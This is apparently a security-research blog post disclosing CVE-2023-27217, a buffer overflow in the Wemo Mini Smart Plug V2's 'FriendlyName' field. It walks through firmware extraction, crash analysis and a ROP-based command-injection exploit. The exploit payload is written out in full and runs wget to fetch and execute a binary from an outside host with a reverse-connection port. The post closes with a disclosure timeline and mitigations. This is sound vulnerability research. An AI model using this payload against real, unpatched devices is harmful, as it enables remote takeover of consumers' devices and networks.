Part of our work at Sternum includes constant security research of IoT vulnerabilities to better understand IoT security gaps, boost the security capabilities of our platform and help device manufacturers improve their security postures.
In this post, we wanted to provide a behind-the-scenes look at our work and talk about our latest discovery—a buffer overflow vulnerability (CVE-2023-27217) in a Wemo Mini Smart Plug V2 (model F7C063) device.
Below, we will share the story of how we were able to reverse-engineer the device, gain firmware access, and leverage it to discover the security flaw.
Furthermore, we will demonstrate how this vulnerability could be exploited for remote command execution and offer some suggestions for security best practices that could have prevented the issue.
This will be a long post so as a public service, here are key points:
- Wemo Mini Smart Plug V2 is a popular consumer device that helps users remote-control electric devices.
- The device is managed by a mobile application that allows its user to change the device name (a.k.a. ‘FriendlyName’).
- The name length is limited to 30 characters or less, but this rule is only enforced by the app itself.
- Through reverse engineering, we saw that circumventing the character limit resulted in a buffer overflow.
- Through experimentation, we learned that we could obtain a measure of control and predictability over how the overflow occurred.
- Leveraging these findings, we were able to demonstrate how the vulnerability can be used for command injection.
- We reached out to Belkin (the device manufacturer) with our findings. However, the company informed us that the device is at the end of its life and will not be patched. Meanwhile, it’s safe to assume that many of these devices are still deployed in the wild.
- Following the company’s response, we reached out to MITRE and informed them of the vulnerability, leading to them issuing CVE-2023-27217.
- We recommend that device users will take some precautions, specifically limiting the device’s exposure to the Internet and internal/sensitive networks.
Wemo Mini Smart Plug: Simple and Popular
The “star of the show” is a Wemo Mini Smart Plug, a simple and compact device built to provide remote control over lights and simple appliances (e.g., fan lamps) via a mobile app. The app uses Wi-Fi for communication and integrates with Alexa, Google Assistant, and Apple Home Kit while offering some additional features—for instance, a scheduling option.
Wemo Mini Smart Plug (Source: Amazon)
Our initial interest in the device came from having several of these lying around our lab and used at our homes, so we just wanted to see how safe (or not) they were to use.
It should be mentioned that, in general, this appears to be a pretty popular consumer device, judging by the 17K reviews and the 4-star rating it has on Amazon and other resources (e.g., this 4-star rating from TomsGuide). Based on these numbers, it’s safe to estimate that the total sales on Amazon alone should be in the hundreds of thousands.
Gaining Firmware Access
As we set out, our first step was to gain access to the device firmware, which required a bit of tinkering. We decided to document it in detail to give a glimpse into our work process.
Popping up the plastic case, we saw that the Smart Plug consisted of two boards: (1) the ‘high voltage’ board that connects to the power outlet and (2) the ‘low voltage’ board that contains the SoC, test headers, Wifi modules, etc.
Based on information available online, we knew that the previous version of the Smart Plug was running OpenWRT—a Linux distribution for embedded devices commonly used for routers—so we expected to find the same here as well.
Looking at the smaller board, we could see the MediaTek SoC and the Winbond 512MB DRAM chips, shown in the image below. The MediaTek MT7688AN features a 580Mhz MIPS24KEc CPU and a 2.4 GHz WIFI connectivity, which would allow the device to run a Linux-based OS.
On the other side of the board, we found the MXIC MX25L12835F chip, a 128MB serial flash EEPROM that held the firmware. Exactly what we were looking for!
To extract the firmware from the device, we used a simple 8-pin SOIC test clip, attaching it directly to the EEPROM, and then used a device programmer to extract the firmware, as seen below.
Once the firmware was successfully dumped, passing it through Binwalk revealed that the device was indeed running OpenWRT Linux with kernel version 3.18.27:
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0x73B5928B, created: 2022-12-08 13:49:43, image size: 1255269 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0x98F10FFF, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-3.18.27" 64 0x40 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3740700 bytes 1572864 0x180000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3607690 bytes, 672 inodes, blocksize: 262144 bytes, created: 2022-12-08 13:49:40
A quick look at the binary blob’s strings revealed the first interesting piece of information, which was the UART (Universal Asynchronous Receiver/Transmitter) configuration:
With these details, we had the gist of what was needed to gain ‘keyboard and screen’ access to the device. However, we could not find any documentation of any UART and JTAG pinouts anywhere online, so we had to figure these out ourselves.
Going over the various test headers on the device as it was booting eventually revealed the proper pinout of the UART connection, like so:
Once we connected successfully to the UART (Universal Asynchronous Receiver/Transmitter) interface, we were greeted with an OpenWRT login prompt. Unfortunately, the password for the root password was unknown to us and not published anywhere online.
We tried running John the Ripper on the hash to brute-force our way in, but this didn’t yield any results within a reasonable amount of time. However, since we had ‘keyboard and screen’ access to the device through the UART port, we could boot it into recovery mode (a.k.a. “single user” mode) and change the root password from there, thus gaining root access to a running system.
With access to the system, we could see the programs running on the device, how they work, which ports are open, and most importantly, set the password of the root user. This enabled us to gain SSH access to the device, which in turn allowed us to upload various tools to the device, such as GDB and gdbserver for debugging purposes.
Using the ps command to see which processes were running, one immediately caught our eye: wemoApp, created by Belkin.
The “FriendlyName” Vulnerability
Having already been using the application, we knew that one of its options was to define a name for the device. Here we can see “Wemo mini 6E9,” which was the default name of the device as it came out of the box.
This option for user input already had our Spidey senses tingling, especially when we saw that changing the name in the app came with some guardrails.
For us, this immediately raised two questions: “Says who?” and “What happens if we manage to make it more than 30 characters?”
To answer both, we decided to try and connect to a device via an alternative method, using pyWeMo, a community-built Python module for the discovery and control of WeMo devices, using the UPnP (Universal Plug and Play) protocol.
With pyWeMo, we tried to change the device name to something longer than 30 characters and were successful. This answered our first question, showing that the restriction was only enforced by the app itself and not by the firmware code.
Strike one! Input validation like this should not be managed just on the “surface” level.
At this point, we also learned about the variable that held the device name—the so-called ‘FriendlyName’—which you can see in the image below:
The answer to our second question came quickly after. Running some experiments, we found out that all names longer than 68 bytes (and shorter than about 300 bytes) would cause a SIGSEGV crash, sending the device into a “boot loop”, as shown in the screenshot from UART below.
Further analysis revealed that the ‘FriendlyName’ variable was handled by the wemo_ctrl and wemoApp processes. And, in almost all cases, the segmentation faults were in heap-related functions:
In an attempt to learn more about the impact that this had on the memory structure, we started to use names with repeated character “chunks,” for instance:
Tracking these chunks in memory, we saw the ‘FriendlyName’ being trimmed to different sizes. In one instance, we got to the offset of 804 bytes after
malloc() in libc (actually libuClibc-0.9.33.2.so) and there we saw this entry:
lw $t0, 0xC($a3)
And here it was… “$a3”, which equals 0x66656463 or “cdef” in little-endian—letters 3 to 6 of our illegally long ‘FriendlyName.’
Strike two! What this proved is that the metadata of the heap was getting corrupted, and the corrupted values are being used in subsequent heap operations. But we still couldn’t tell the exact place in which the corruption and if (and how) it could be leveraged by a bad actor.
Pinpointing the Breaking Point
As we continued to analyze the crashes, we noticed that in one attempt, the control flow pivoted to the heap, resulting in an illegal instruction. We also saw that the heap was executable (because of course it was…).
Moreover, on another occasion, we also saw an incident of
$pc (Extended Instruction Pointer) control from an overflow.
Heap memory with rwxp (read, write & execute) permissions
To keep track of these and other results, we developed a gdb script that printed all the internal states of the heap.The idea was to pinpoint the bug that causes the heap corruption with a process similar to a binary search. We would set a breakpoint in a location we suspected to be relevant. When that breakpoint would hit, we observed the state of the heap for signs of corruption. If we find any, we would know that the corruption happened before our breakpoint. Otherwise, we looked forward.
For example, the image below shows a corruption of the metadata with bytes from the illegal ‘FriendlyName’. Note the values in the last
mchunk, with the next pointer spelling “cdef” (0x66656463), prev spelling “ghij” (0x6a696867), etc.
Another thing we noticed was that, because of ASLR (Address Space Layout Randomization), the library was loading at a different location after every crash, which interfered with our testing. To deal with the situation, we temporarily disabled ASLR using:
`# echo 0 > /proc/sys/kernel/randomize_va_space`
As soon as we did, the SIGSEGV crashes of the heap stopped. Instead, when we passed an 80-character long ‘FriendlyName’ using
name[:80] as shown below, we got a crash in the memory stack.
The crash occurred at the 0x6e6d6c6b address—“klmn” in little-endian, characters [76: 80] of our ‘FriendlyName’. Meaning we have achieved some predictability and measure of control over the program flow.
This crash was a result of an unsafe call to
strcpy() function from a buffer containing our ‘FriendlyName’ into the
wemoStateUpdate() function in wemo_ctrl executable. The stack buffer size of 0x44 (68 in decimal) was why names longer than 68 characters would cause a crash.
Immediately after the buffer, we could see the $s0 register at an offset of [68:72], followed by the frame pointer $fp at an offset of [72:76], and then the return address $ra at an offset of [76:80].
As established above, the $pc was pointing to $ra (“klnm”) and there was no stack canary. Strike three.
It should be noted that the destination of the strcpy() function is not at the beginning of the FriendlyName buffer, but 4 bytes after the beginning of this buffer due to this opcode:
0x407530: addiu $v1, 4
This is why there were 0x44 bytes before the overflow onto the saved registers and not 0x48.
The Exploit: Using ‘FriendlyName’ for Remote Command Injection
After proving that we could cause a buffer overflow and control the resulting memory re-allocation, our next step was to see if we could exploit the vulnerability.
For that, we focused our efforts on the wemo_ctrl executable because it was consistently loaded in the same address, even with ASLR turned on, unlike other libraries.
Our approach was to use a binary exploitation technique called ROP chains. The idea was that repeated attack attempts—even with ASLR being on—would lead to some instances in which we could cause a stack overflow without the heap corruption, crashing the process first.
The fact that wemo_ctrl automatically restarted after every crash supported this approach, allowing us to keep trying again and again. The only downside was a ~10-second long period after the crash during which the UPnP interface was not responsive, which translated into a short delay between each of the “attack” attempts. However, this crash would be completely unnoticeable to the user in a real-world attack scenario.
Still, we had to deal with some limitations:
- The first issue is that the wemo_ctrl loading address is in the low range of 0x00400000 to 0x00413000. Since we had to rely on the
strcpy()for payload delivery, we were limited by the null terminator for the exploit. This meant that the null terminator had to be the most significant byte (MSB) of the return address at the end of our payload. As a result, we can only use one ROP gadget on the current stack, and the whole payload has to be 80 bytes or less.
- The second issue relates to the characters we can use in the payload. This is due to the limitations enforced by the UPnP library and the XML parser that our input goes through before reaching wemoStateUpdate. For example, we found that all bytes from 0x80 and above are not accepted, as well as some special characters like & or <. For our purposes, we had to treat this as some sort of unintended/partial input sanitization.
- Finally, we had to call the single chain with very limited control of registers— only $s0, $fp, or $ra. We still didn’t know where exactly our stack was because the overflow happened on a new secondary thread created to handle
ChangeFriendlyNameUPnP calls. In other words, even with ASLR disabled, there appear to be about 8-16 different possible $sp values we could encounter. We noticed in practice they were always some small multiple of 0x200000 apart from each other.
With the above in mind, we crafted the following payload and used it to make a call to
system(), in wemo_ctrl, in a function we named
;wget http://192.168.1.52:8080/r;chmod +x r;./r 192.168.1.52 4444# XK6w|I6wh:@
Our goal was to reach the call to system in address 0x403A90, with control over $a0 or $v0, which both had NULL values when returned from wemoStateUpdate.
However, considering the 80-character limit, we could only jump as high as the 0x403A7C address. So we have to call the
snprintf() first. Then, leaving $a0 as NULL is still a problem because then
snprintf() would crash with a SEGFAULT, since the function’s first argument is the destination buffer. That means that instead, we have to return to an even earlier address: 0x403A68, highlighted in the image above. That’s the latest location for us to gain control of $a0.
There, conveniently for us, we noted that the format string of the
snprintf() enabled a command injection (note the
rm -rf %s at the 0x403A78 address in the image above).
The plan was to exploit this command injection by pointing the $a0 register to the ‘FriendlyName’ payload as the
snprintf() function was called. So while the payload started with the injection itself (
wget http://192.168.1.52…) the rest of it was meant to shape the registers in a way that would cause this sequence to occur, like so:
- $a3 would contain the address of our FriendlyName. As shown in the image above, at 0x403A7C, it got the address from $fp, with the offset of 0x220.
- $s0 would be set by the payload to the stack address at the beginning of the FriendlyName. The fact that it would be saved to the $s0 register is a non-important byproduct. The important part here is that the address would be stored in some location on the stack so that we can load it from there into $a3 at 0x403A7C.
- $fp will be modified and set to 0x220 less than the stack address in $s0, to compensate for offset in 0x403A7C.
- $ra would also be modified to 0x403A68, to run the injection (the
h:@at the tail end of the payload).
The screenshots below show how this all comes together:
It should be noted that the values in $fp and $s0 represent our guesstimate of the stack address for the FriendlyName and in the screenshot above, we guessed wrong. However, getting to the actual address (with ASLR turned off) would require a very minimal measure of trial-and-error due to the very limited (8 to 16) number of options.
Even with ALSR on, however, we believe that it would be possible to brute-force our way to the correct address and exploit the vulnerability, especially since the only side effect of a wrong guess would be a very brief and transparent crash.
Disclosure Timeline and Security Advisory
- On January 9th, 2023, we disclosed the vulnerability to Belkin via Bugcrowd.
- On February 22nd, Belkin replied that the device is at the end of its life and, as a result, the vulnerability will not be addressed.
- Following some additional back-and-forth on March 14, we informed MITRE of the vulnerability, leading to them issuing CVE-2023-27217.
Since there will be no patch to address this issue, we recommend the following:
- Avoid exposing the Wemo Smart Plug V2 UPNP ports to the internet, either directly or via port forwarding.
- If you are using the Smart Plug V2 in a sensitive network, you should ensure that it is properly segmented, and that device cannot communicate with other sensitive devices on the same subnet.
Note: While this wasn’t in the scope of our research, from what we have gathered, it appears that this vulnerability could be triggered via the Cloud interface (meaning, without a direct connection to the device).
This further highlights the need for the abovementioned steps, as the Wemo Cloud infrastructure could be used as a potential attack vector.